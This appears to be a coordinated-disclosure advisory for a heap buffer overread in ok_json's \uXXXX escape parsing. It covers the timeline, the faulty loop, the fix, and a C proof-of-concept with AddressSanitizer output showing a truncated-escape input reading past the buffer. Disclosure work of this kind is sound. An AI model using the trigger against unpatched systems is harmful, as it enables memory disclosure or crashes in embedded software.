ok_json: heap buffer overread in \uXXXX escape parsing
A heap buffer overread in ok_json's `\uXXXX` escape parser. A truncated `\u` escape at the end of input causes the parser to read past the end of the caller-supplied buffer while consuming hex digits. Fixed upstream on 2026-04-14.
// Timeline
- 2026-04-08 Reported to vendor
- 2026-04-13 Vendor acknowledged
- 2026-04-14 Fixed upstream; issue closed
- 2026-04-22 CVE requested (pending)
Summary
ok_json is a C99 JSON parser targeting embedded and safety-critical contexts. In versions prior to the fix on 2026-04-14, the \uXXXX Unicode escape parser reads hex digits in a loop without checking that the parser position is still within the caller-supplied buffer.
Technical details
Location: src/ok_json.c:1120-1134.
When the parser encounters \u, it enters a for-loop that reads four hex digits. The loop had no position < json_len guard, so input that ended mid-escape produced an out-of-bounds read.
A secondary logic bug compounded the issue: once an error was detected (loop_break = 1), subsequent iterations still fell into the else branch and incremented parser->position, advancing past the error point.
Trigger
A truncated \u escape at the end of input — 10 bytes, no NUL terminator, no padding past the allocation:
{"a":"\uAB
After consuming \u, A, and B, the loop reads two bytes past the end of the buffer.
Proof of concept
/* Compile: clang -g -O0 -fsanitize=address -Iinclude poc.c -o poc
* Run: ./poc
*
* After consuming \u, the hex loop needs 4 digits but only 2 remain
* in the buffer (A, B). Iterations 2 and 3 read parser->json[10] and
* parser->json[11], past the 10-byte allocation.
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "../src/ok_json.c"
int main(void)
{
const char src[] = "{\"a\":\"\\uAB";
size_t len = sizeof(src) - 1U; /* 10 bytes, exclude compiler NUL */
char *buf = (char *)malloc(len); /* tight allocation — ASan red zone after */
if (buf == NULL) { return 1; }
memcpy(buf, src, len);
OkJsonParser parser;
okj_init(&parser, buf, (uint16_t)len);
OkjError rc = okj_parse(&parser);
printf("okj_parse returned: %d\n", (int)rc);
free(buf);
return 0;
}
AddressSanitizer output:
heap-buffer-overflow at ok_json.c:1124 in okj_parse_value
READ of size 1 at 0 bytes to the right of 10-byte region
Impact
Out-of-bounds read of up to two bytes past a caller-supplied buffer. In safety-critical or embedded contexts (the library’s stated target), such reads can leak adjacent memory or cause undefined behavior.
Fix
Upstream patched on 2026-04-14: the hex-digit loop now checks parser->position < parser->json_len before each read, and the else-branch fallthrough is corrected so position does not advance after loop_break. See issue #69 for the full disclosure and vendor response.